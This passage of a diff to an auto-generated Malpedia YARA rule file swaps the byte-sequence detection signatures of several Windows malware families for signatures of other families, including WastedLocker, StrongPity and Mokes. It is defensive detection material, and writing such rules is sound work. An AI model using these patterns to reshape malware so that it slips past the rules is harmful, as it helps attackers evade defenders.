-		$sequence_1 = { 488d5201 6685c0 75ee 488b05???????? 488bcb 488b10 ff9250010000 }
-		$sequence_2 = { 41ff9288010000 85c0 740f 4881c79a020000 4889bc2410030000 483bbc2418030000 0f8c73ffffff }
-		$sequence_3 = { 48894c2440 4533c0 48898c2470080000 4c8b10 488d842470080000 }
-		$sequence_4 = { 33d2 33c9 48897c2420 4c8b10 41ff92b0000000 8bce }
-		$sequence_5 = { 4c8b00 41ff5058 85c0 0f84c6000000 4c89b42480000000 448d4b04 }
-		$sequence_6 = { 488bcb 4c8b10 41ff9288010000 85c0 740f 4881c79a020000 }
-		$sequence_7 = { 4883ec20 4080e4f0 c645f356 c645f469 c645f572 }
-		$sequence_8 = { 488945f8 4883ec08 48890424 4883ec08 }
-		$sequence_9 = { 0f8493000000 488bd0 488bcb 482bd3 }
+		$sequence_0 = { 8d85d4fdffff 50 e8???????? c9 }
+		$sequence_1 = { 89b5f0fdffff 899decfdffff 89b5f4feffff 899df0feffff ff15???????? 8945fc }
+		$sequence_2 = { 51 8365fc00 8d45fc 50 68???????? 6801000080 ff15???????? }
+		$sequence_3 = { 8945f0 0fb705???????? 50 ff15???????? 668945ee }
+		$sequence_4 = { 68???????? 56 ff15???????? 83c41c 8d4601 5e eb09 }
+		$sequence_5 = { 7417 03f3 3bf7 7ccb eb2f 7d29 }
+		$sequence_6 = { 83cfff c6457300 3b7566 7cb5 3b7566 }
+		$sequence_7 = { 53 57 6a04 33ff 33db }
+		$sequence_8 = { 5b c9 c20800 81ec00040000 68???????? 68???????? ff15???????? }
+		$sequence_9 = { eb04 c645fb3d 6a05 8d45f8 50 ff750c c645fc00 }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Putabmow_Auto : FILE
+rule MALPEDIA_Win_Defray_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "118d99b8-b7d8-55d9-89f4-cf8d56f456ff"
+		id = "ee2cc914-ed1c-504f-bf38-50caf0bf4350"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.putabmow_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.defray_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "4091b5988ccb2a8139f14760c8b7e9d61862064b8efc99f4d36fbebf2dc41c73"
+		logic_hash = "6779b35681313abc4956d5610d5c5eb736ab6b4450531cda5b5e81d10fef89b6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153009,32 +160124,32 @@ rule MALPEDIA_Win_Putabmow_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 016306 07 015100 07 015600 0801 51 }
-		$sequence_1 = { e8???????? 8b55f0 8b4a0c 894d08 894dec 8d4118 89420c }
-		$sequence_2 = { 50 51 8d3c01 eb51 ff752c 8b7524 51 }
-		$sequence_3 = { 05eb004805 f0005005 f0005005 f0005005 f0005005 f0005005 f0005005 }
-		$sequence_4 = { c74424540f000000 85c0 7c16 7f04 85f6 7410 89442418 }
-		$sequence_5 = { 8d4c241c e8???????? c744247001000000 6a01 51 68???????? 8d4c2424 }
-		$sequence_6 = { e8???????? 83c404 89442428 c7842480000000ffffffff 8b4c241c 85c9 }
-		$sequence_7 = { 85c0 7413 6a00 8d8c24c8070000 51 8bc8 e8???????? }
-		$sequence_8 = { ff15???????? 85c0 0f8420010000 837e1408 7204 8b06 }
-		$sequence_9 = { e9???????? 8d8d50f7ffff e9???????? 8b85fcf4ffff 50 e8???????? 59 }
+		$sequence_0 = { 3bc1 75c3 894db4 8d8d60ffffff e8???????? 84c0 7419 }
+		$sequence_1 = { 8b0b 8bc1 83e13f c1f806 6bc930 8b048568f34800 }
+		$sequence_2 = { 33c0 8dbd94f5ffff a5 a5 a5 8dbda0f5ffff be???????? }
+		$sequence_3 = { 2bf2 8d7b1f c1ef05 c1fe02 897d08 3bfe 7322 }
+		$sequence_4 = { 83c9f8 41 0f2825???????? 8bd6 0f282d???????? 2bd1 0f57db }
+		$sequence_5 = { 33c6 03d0 8b85e0feffff 03940514ffffff 039008d54700 03d7 8bbde4feffff }
+		$sequence_6 = { 56 6a02 51 8975fc 8975f8 ff15???????? }
+		$sequence_7 = { 663907 7407 83c702 3bfe 75f4 3bfe 0f8434feffff }
+		$sequence_8 = { 8bf0 85f6 0f8528050000 8b45d8 c745f4006d4100 8945f8 837d1000 }
+		$sequence_9 = { 6a0c 99 5f f7ff 8365e000 8b7508 85c0 }
 
 	condition:
-		7 of them and filesize <704512
+		7 of them and filesize <1253376
 }
-rule MALPEDIA_Win_Clipog_Auto : FILE
+rule MALPEDIA_Win_Mokes_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "46aafcb1-e1b8-5042-a65a-96aaea69b545"
+		id = "5228f490-0d80-56e9-a8cc-72e35ac44ea7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clipog"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.clipog_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mokes_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "d53a5689475b1eada9174cbb0eba62d34ac88574fbde919bc04ba3774f961a03"
+		logic_hash = "be97fd0567c8d98c1350b6cf1d21361ab6916096a99c6915f04160ab0a34cb53"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153048,34 +160163,34 @@ rule MALPEDIA_Win_Clipog_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c744242880000000 c744242004000000 4533c9 418d5104 458d4101 ff15???????? 48898710180000 }
-		$sequence_1 = { 4c8bea 4b8b8cf7907c0200 4c8b15???????? 4883cfff 418bc2 498bd2 4833d1 }
-		$sequence_2 = { 83c7f8 81ffd6000000 0f87eb030000 488d1531c5ffff 0fb6843a24410000 8b8c824c400000 4803ca }
-		$sequence_3 = { 48895808 48896810 48897018 48897820 4156 33ed 4c8d352e910000 }
-		$sequence_4 = { 4c8d0d13210100 8bf9 488d150a210100 b907000000 4c8d05f6200100 e8???????? }
-		$sequence_5 = { eb7a 488d0dd0140200 e8???????? 85c0 0f94c0 eb67 }
-		$sequence_6 = { 488d15b6e80100 e9???????? 488d15bae80100 e9???????? }
-		$sequence_7 = { 488d1585ee0000 488d0d76ee0000 e8???????? 0fb605???????? }
-		$sequence_8 = { e9???????? 4c8d256b4e0100 8bee 498bc4 41bf01000000 }
-		$sequence_9 = { f20f1000 8b7808 e9???????? 488d05ae920100 4a8b0ce8 42f644313880 }
+		$sequence_0 = { f6c101 0f85b0000000 8b442424 8b00 3d???????? 0f849f000000 8b4804 }
+		$sequence_1 = { f20f1001 660f2fc1 0f28c3 f20f5cc7 0f47c1 f20f1008 f20f59c2 }
+		$sequence_2 = { ff9050010000 8b8bac010000 8d83ac010000 89442424 85c9 740b 83790400 }
+		$sequence_3 = { ff5030 89442410 83f8ff 7512 8b4508 c700???????? 5f }
+		$sequence_4 = { f20f1025???????? f30fe6db f30fe6d2 f30fe6c9 f30fe6c0 f20f59dc f20f59d4 }
+		$sequence_5 = { ffd0 8d4900 3d???????? 0f84cb000000 8b00 85c0 75ef }
+		$sequence_6 = { e8???????? 8d4e14 e8???????? 8d4e34 e8???????? 5f 5e }
+		$sequence_7 = { ff750c c70000000000 e8???????? 8b4508 8bce c706???????? c74608???????? }
+		$sequence_8 = { e8???????? 8b75e4 8b4e0c 03ce 8b4604 8d0445feffffff 50 }
+		$sequence_9 = { f20f1005???????? 660f2fc1 0f82ac010000 f20f108e88000000 f20f109690000000 f20f5c9680000000 f20f5c4e78 }
 
 	condition:
-		7 of them and filesize <372736
+		7 of them and filesize <18505728
 }
-rule MALPEDIA_Win_Fatduke_Auto : FILE
+rule MALPEDIA_Win_Strongpity_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1df82884-dd37-5110-97a3-f389ea498843"
+		id = "74f27818-19f0-5cf0-92fb-64e00785ec08"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fatduke_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.strongpity_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "40661bdfa7c29a9f9d4cfc7da5ee8f1460f5e36e7c11bd94001d922b76261842"
-		score = 75
-		quality = 75
+		logic_hash = "61a3d3556929a6d92379ea8e74c4d3e507b020fc18a8d58904a2026c1434bfed"
+		score = 60
+		quality = 45
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -153087,32 +160202,38 @@ rule MALPEDIA_Win_Fatduke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 807b0d00 7552 ff7608 8bc8 e8???????? 8b36 8d7b10 }
-		$sequence_1 = { 8bcb 85f6 7455 83ee04 7211 8b01 3b02 }
-		$sequence_2 = { ff75f0 c746140f000000 c7461000000000 c60600 e8???????? 8b4b04 83c404 }
-		$sequence_3 = { e8???????? c745c000000000 c745c400000000 c745c40f000000 c745c000000000 c645b000 3bc1 }
-		$sequence_4 = { e8???????? 83c404 c745bc0f000000 c745b800000000 c645a800 c745fcffffffff 837dec10 }
-		$sequence_5 = { c7864c01000000000000 c6863c01000000 c645fc0b 83be3801000010 720e ffb624010000 e8???????? }
-		$sequence_6 = { f7d3 23da 7419 2bf9 8bff 8a040f 8d4901 }
-		$sequence_7 = { 83ec1c a1???????? 33c5 8945fc 8b4508 8b4910 8945e4 }
-		$sequence_8 = { 8d4e08 51 e8???????? c745fcffffffff 8bc6 8b4df4 64890d00000000 }
-		$sequence_9 = { ff75c0 e8???????? 83c404 c745d40f000000 8ac3 c745d000000000 c645c000 }
+		$sequence_0 = { 50 33c0 d1f9 50 51 53 }
+		$sequence_1 = { 75f8 ff75d0 68???????? ff36 e8???????? }
+		$sequence_2 = { 41 83ea01 75f7 50 e8???????? 59 }
+		$sequence_3 = { e8???????? 8b4608 83c418 6a2f 59 }
+		$sequence_4 = { 8945f8 f7d8 56 57 }
+		$sequence_5 = { 33db c745f804000000 53 ff7710 895df4 ff770c }
+		$sequence_6 = { ba???????? f3a5 8bf2 668b02 83c202 }
+		$sequence_7 = { 83e801 7408 6a02 58 884612 }
+		$sequence_8 = { 0107 83be8800000002 8b07 0f85ad000000 83f814 }
+		$sequence_9 = { 012e 885c240a e9???????? 84db 0f8434020000 }
+		$sequence_10 = { 5f 8d4503 5d 5b 8b4c2428 }
+		$sequence_11 = { 7417 48 7545 39812c020000 7433 8b8124020000 }
+		$sequence_12 = { 5f 8b4c2408 5e 5b }
+		$sequence_13 = { 5f 8d4502 5d 5e 5b 8b4c2468 }
+		$sequence_14 = { 012e 885c240a ebc3 80fb5d 7520 837c240c00 0f85fe020000 }
+		$sequence_15 = { 5f 8bc3 5b c3 8d4638 50 e8???????? }
 
 	condition:
-		7 of them and filesize <9012224
+		7 of them and filesize <999424
 }
-rule MALPEDIA_Win_Crutch_Auto : FILE
+rule MALPEDIA_Win_Orchard_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1c62c9a2-5abd-50e0-9062-2bd78d3ac79d"
+		id = "68833672-b2e1-5b37-9ae2-2dac96bba231"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crutch_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.orchard_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "af046e99ef1615cf66ae4969fa3fcc0ac2b09e87e76d784694e80263151a794f"
+		logic_hash = "70c3ab090316ecb85f40208f530bb1fb9e1727e271d34e7cabe8cdcf998bd59f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153126,34 +160247,40 @@ rule MALPEDIA_Win_Crutch_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7536 8b8740030000 f7404000c00000 51 740f 8b4e6c 51 }
-		$sequence_1 = { 8b442430 85c0 742b 8b942488000000 8b8c2484000000 52 8b54243c }
-		$sequence_2 = { 8b01 50 ff30 51 ff32 8bcb e8???????? }
-		$sequence_3 = { 50 8d4ddc e8???????? eb3a 8dbd1cffffff 8d3cd7 8d8514ffffff }
-		$sequence_4 = { 8b6c2408 7426 8b03 50 ff15???????? 8b8efc040000 51 }
-		$sequence_5 = { 0f84f9000000 b9???????? 8bc6 8d642400 8a10 3a11 751a }
-		$sequence_6 = { 81c2cc000000 89542408 8b54240c 89542404 e9???????? 81f9244e0000 }
-		$sequence_7 = { 7506 8b7c2428 eb4a 41 51 ff15???????? 8bf8 }
-		$sequence_8 = { b823000000 5e c3 8d471f c1e004 8bcf c1e104 }
-		$sequence_9 = { 8bf1 8a02 8806 8d4e18 8b4208 894608 8b420c }
+		$sequence_0 = { 83c404 e8???????? 99 b95b000000 f7f9 }
+		$sequence_1 = { 6a01 c645fc08 e8???????? 894604 83c404 8d4718 897034 }
+		$sequence_2 = { 56 ff15???????? ff15???????? 50 6a00 }
+		$sequence_3 = { 8b8550fdffff 83e001 0f8412000000 83a550fdfffffe }
+		$sequence_4 = { 8a45ef 884740 7510 8b470c 8bcf 6a00 }
+		$sequence_5 = { 8d442410 50 ff15???????? 6685c0 }
+		$sequence_6 = { 8b5de8 894348 8b5de0 c70600000000 }
+		$sequence_7 = { 8b75a8 46 56 e8???????? }
+		$sequence_8 = { 8b54240c 83d200 03c1 8b4c2420 }
+		$sequence_9 = { f7f9 81c2d0070000 52 ffd6 }
+		$sequence_10 = { 8b10 8bc8 6a01 ff12 837f3800 8a45ef }
+		$sequence_11 = { 8b07 6a08 895de0 8b4004 }
+		$sequence_12 = { 83f81f 0f877e030000 52 51 e8???????? }
+		$sequence_13 = { 8b7c2424 89542428 8b54240c 83d200 }
+		$sequence_14 = { 50 ff15???????? 83f805 7507 }
+		$sequence_15 = { 8bc8 83e01f c1f905 8b0c8d00755d00 c1e006 8d44010c 50 }
 
 	condition:
-		7 of them and filesize <1067008
+		7 of them and filesize <4716352
 }
-rule MALPEDIA_Win_Remcom_Auto : FILE
+rule MALPEDIA_Win_Rikamanu_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a3eb8b2b-3833-5f4e-a476-a250aeb73992"
+		id = "08f5de79-f86c-592e-8a15-71782197d327"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remcom_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rikamanu_auto.yar#L1-L297"
 		license_url = "N/A"
-		logic_hash = "4f3e16a0ac97921c2fcb2fdd27863c94129d85212bc306f9915a79a291488cb1"
+		logic_hash = "3cf2bc6d93646710c8204bdc714006eac60fd0ca80947c5c7ae6ad8dcd343296"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -153165,32 +160292,52 @@ rule MALPEDIA_Win_Remcom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8be5 5d c3 53 56 8d95f8feffff }
-		$sequence_1 = { 83c8ff 89463c 894638 894640 8b8708110000 50 8d9f0c110000 }
-		$sequence_2 = { e8???????? a1???????? 33c5 8945fc 56 8b7508 68???????? }
-		$sequence_3 = { 50 8d9f0c110000 53 68???????? 8d55e0 68???????? }
-		$sequence_4 = { 008891400023 d18a0688078a 46 018847018a46 }
-		$sequence_5 = { 52 ffd3 85c0 7507 ffd7 8945f0 eb78 }
-		$sequence_6 = { 6a00 6a01 8d4de0 51 ffd3 8d45f4 50 }
-		$sequence_7 = { 8d8e00100000 f7d8 1bc0 23c1 8d8de4feffff }
-		$sequence_8 = { 8b7508 8d34f528e54000 391e 7404 8bc7 }
-		$sequence_9 = { 6a00 51 ffd7 8b4638 6a00 50 ffd7 }
+		$sequence_0 = { e8???????? 6a14 ff15???????? a801 }
+		$sequence_1 = { 50 ff15???????? 8b35???????? 3d80969800 }
+		$sequence_2 = { 8b85e4fdffff 8d8dccfdffff 51 8d9588fdffff 52 8b95f0fdffff 53 }
+		$sequence_3 = { 68???????? 51 c744241c6c714000 e8???????? 33d2 6a0c 8954240a }
+		$sequence_4 = { 0fb6442404 8a4c240c 848821ae4000 751c 837c240800 740e 0fb70445faa64000 }
+		$sequence_5 = { 83c42c 5f eb26 8d4508 8db62c724000 6a00 }
+		$sequence_6 = { 8088????????10 8ac8 80c120 888820ad4000 eb1f 83f861 }
+		$sequence_7 = { 0fbe05???????? 83e802 7413 83e806 7407 bf???????? eb0c }
+		$sequence_8 = { 57 ff15???????? 33c0 40 ebcc }
+		$sequence_9 = { eba1 8b85f0fdffff 6a04 8d95ecfdffff }
+		$sequence_10 = { 51 68???????? 55 ffd3 bf???????? 83c9ff 33c0 }
+		$sequence_11 = { 6a04 55 83e103 6a01 8d44246c }
+		$sequence_12 = { 6a00 6a00 55 ffd7 55 }
+		$sequence_13 = { 56 ff15???????? 8b842470020000 03f8 57 56 ff15???????? }
+		$sequence_14 = { 8987709a2400 83c704 83ff28 72e6 5f }
+		$sequence_15 = { 83c40c 33c0 6808020000 8d95f4fdffff 52 }
+		$sequence_16 = { 8d34c570902400 833e00 7513 50 }
+		$sequence_17 = { 8d4508 8db62c724000 6a00 50 ff36 e8???????? 59 }
+		$sequence_18 = { 891d???????? 891d???????? ff15???????? 8d85f8feffff }
+		$sequence_19 = { 7373 8bc8 8bf0 c1f905 83e61f 8d3c8de0b84000 c1e603 }
+		$sequence_20 = { 391d???????? 0f849e000000 33c0 663bcb 0f95c0 }
+		$sequence_21 = { 8bec 8b450c 56 beff000000 3bc6 7518 }
+		$sequence_22 = { 8945e4 3d00010000 7d10 8a8c181d010000 888808972400 40 ebe6 }
+		$sequence_23 = { 85c0 74c9 33c9 33c0 890d???????? bf???????? 890d???????? }
+		$sequence_24 = { ebe3 80a0a0a6400000 40 41 41 3bc6 }
+		$sequence_25 = { ff15???????? ff750c e8???????? 59 3bc3 }
+		$sequence_26 = { 40 3acb 75f9 2bc2 8d95f8feffff }
+		$sequence_27 = { 8b54240c 81fa80000000 7c0e 0fba25????????01 0f820b070000 57 }
+		$sequence_28 = { 7457 68???????? 56 ffd5 85c0 744b 8a0e }
+		$sequence_29 = { c1e106 8b0485383f4100 f644080401 7405 8b0408 5d }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Stowaway_Auto : FILE
+rule MALPEDIA_Win_Unidentified_045_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e2cf60b5-46e1-5dce-b54e-4eae51e51190"
+		id = "a8bfd3f0-95b3-5af9-8c6f-fa63b3ef83b3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stowaway_auto.yar#L1-L110"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_045_auto.yar#L1-L104"
 		license_url = "N/A"
-		logic_hash = "ba9de78202a4b50e7d737f5edb3449679cab84813a913aa4817b5b87ab2181a8"
+		logic_hash = "16726755d5995c8139758648ed741d294bd49338a51b6fd2af1cb4cf9c59e23f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153204,31 +160351,30 @@ rule MALPEDIA_Win_Stowaway_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b07 09c0 743c 8b5f04 }
-		$sequence_1 = { 09c0 7407 8903 83c304 ebe1 }
-		$sequence_2 = { 50 54 6a04 53 57 ffd5 8d879f010000 }
-		$sequence_3 = { 89f9 57 48 f2ae 55 }
-		$sequence_4 = { 8d879f010000 80207f 8060287f 58 50 }
-		$sequence_5 = { 95 8a07 47 08c0 74dc 89f9 57 }
-		$sequence_6 = { 76e8 77e8 78e8 79e8 }
-		$sequence_7 = { 8a7cbe46 a3???????? 4e fb b501 }
-		$sequence_8 = { 78e8 79e8 7ae8 ce f67be8 7ce8 7de8 }
+		$sequence_0 = { 50 e8???????? 83c40c 68???????? 68???????? 68???????? e8???????? }
+		$sequence_1 = { 8930 8935???????? eb2b 837d0c02 7528 8b35???????? }
+		$sequence_2 = { 8bc7 eb5c 33f6 85f6 7609 }
+		$sequence_3 = { 6804010000 8d44244c 57 50 e8???????? 8b35???????? }
+		$sequence_4 = { ff15???????? 33f6 56 56 6a02 56 56 }
+		$sequence_5 = { 6a01 56 56 ff7508 897dac 56 }
+		$sequence_6 = { 3345fc 5e c9 c3 803d????????00 }
+		$sequence_7 = { 6a0c 50 57 8975f4 }
 
 	condition:
-		7 of them and filesize <8003584
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Fuwuqidrama_Auto : FILE
+rule MALPEDIA_Win_Knot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2e69e70e-5601-5931-bcd7-e645b5b9c52f"
+		id = "a6e6a5bf-ddf5-50fd-bee4-72bdce46b16d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fuwuqidrama_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.knot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.knot_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "8de556fe8f63afd7a879ecce2fdbb1a150474ddb330c86740527423f92305d9c"
+		logic_hash = "1eb2f0d25dde1dc340b502f0b94dbb26bfbabe3643f1c7382f79e2ee4892b78f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153242,32 +160388,32 @@ rule MALPEDIA_Win_Fuwuqidrama_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b44241c 8db08c000000 8b8314140000 83f802 764a 8d6b1a 85ed }
-		$sequence_1 = { 8b842490020000 52 50 8d4c2444 68???????? 51 }
-		$sequence_2 = { 8917 8b542414 894704 b801000000 894f08 89570c 5f }
-		$sequence_3 = { 57 33ff 8bd9 57 57 8d4c2430 }
-		$sequence_4 = { 8bdf 036908 c1c305 036c2424 c1c61e 89742418 8b712c }
-		$sequence_5 = { 83c508 55 ffd7 8a542412 899ec8030000 8896c4030000 899ecc030000 }
-		$sequence_6 = { 8bdf 036918 c1c305 036c2410 c1c61e 89742428 8d9c2bd6c162ca }
-		$sequence_7 = { ff5220 8d460c 50 ff15???????? 8b4624 }
-		$sequence_8 = { 50 ffd6 8d4c242c 6a02 8d542418 51 52 }
-		$sequence_9 = { 3d10270000 0f87e7020000 8b5708 8b4704 52 50 8bcf }
+		$sequence_0 = { 50 8b8ddcfdffff 51 6a00 6a00 6a01 }
+		$sequence_1 = { 55 8bec 81ec34010000 6a00 }
+		$sequence_2 = { 6a18 6a00 6a00 68???????? ff15???????? 8d95f0f9ffff }
+		$sequence_3 = { ff15???????? 83c408 6a01 6a00 }
+		$sequence_4 = { 83bdd4fdffff00 7443 8b85d8fdffff 50 8b8ddcfdffff 51 }
+		$sequence_5 = { 6800000040 8d95e0fdffff 52 ff15???????? }
+		$sequence_6 = { ff15???????? 8b55ec 52 ff15???????? 8b45e8 50 ff15???????? }
+		$sequence_7 = { 6a00 6a00 68???????? ff15???????? 8d95f0f9ffff 52 e8???????? }
+		$sequence_8 = { 52 ff15???????? 85c0 7507 32c0 e9???????? c785d8fdffff00000000 }
+		$sequence_9 = { 83c408 68???????? 8b8d74f7ffff 51 e8???????? }
 
 	condition:
-		7 of them and filesize <245760
+		7 of them and filesize <59392
 }
-rule MALPEDIA_Win_Maudi_Auto : FILE
+rule MALPEDIA_Win_Wastedlocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3e4205bc-621f-57ac-9783-0d7a80e63274"
+		id = "b7e51866-b49c-5bda-b9e7-206c33d8d8a8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maudi_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wastedlocker_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "ae4372c99a5ab8731cfa27286c0755a13272fa053f753c6557e155320ea94c91"
+		logic_hash = "f3876fe06c43f4da1aa2e85c3923ddbcdfed237d9e82449557581810436fb80c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153281,32 +160427,32 @@ rule MALPEDIA_Win_Maudi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5d 8b542408 4a 0f85d9000000 68???????? 87d1 }
-		$sequence_1 = { 87d1 87ca 51 51 51 }
-		$sequence_2 = { 56 55 89e5 5d 89e6 fc ad }
-		$sequence_3 = { 89e5 5d 89e6 fc ad 6804010000 56 }
-		$sequence_4 = { 59 ffe7 6800400000 6a00 57 68???????? }
-		$sequence_5 = { cd03 cd02 68???????? 87d1 87ca 51 }
-		$sequence_6 = { 59 59 ffe7 6800400000 6a00 }
-		$sequence_7 = { 6804010000 56 50 68???????? 87d1 }
-		$sequence_8 = { 59 59 ff25???????? 55 }
-		$sequence_9 = { 5d b986180000 55 89e5 5d be???????? }
+		$sequence_0 = { e8???????? 8bf0 ff7508 6a00 ff35???????? ff15???????? 5f }
+		$sequence_1 = { 8945e4 8d45dc 50 c745dc18000000 897de0 }
+		$sequence_2 = { 50 e8???????? 83c40c 56 8d85c8f1ffff 53 50 }
+		$sequence_3 = { ffd3 8bf8 85ff 7419 6a20 57 ffd3 }
+		$sequence_4 = { 8d45ec 50 8d45d4 50 6816011200 }
+		$sequence_5 = { 3b45d0 0f8382000000 894dd8 394de0 740b 0fb703 034710 }
+		$sequence_6 = { ff35???????? ff15???????? 5f ff75f8 ff15???????? }
+		$sequence_7 = { 6a00 ff35???????? ff15???????? 8bd8 85db 7469 8b450c }
+		$sequence_8 = { 2500f0ffff 56 0500100000 50 56 b812345607 }
+		$sequence_9 = { bf04010000 ffd3 8bf0 85f6 746a 57 56 }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <147456
 }
-rule MALPEDIA_Win_Xpertrat_Auto : FILE
+rule MALPEDIA_Win_Chainshot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5a6115a3-5806-5873-b6ce-1ac58a01949b"
+		id = "beaf03a9-9558-5280-a84b-64277bd4ffc2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xpertrat_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot"
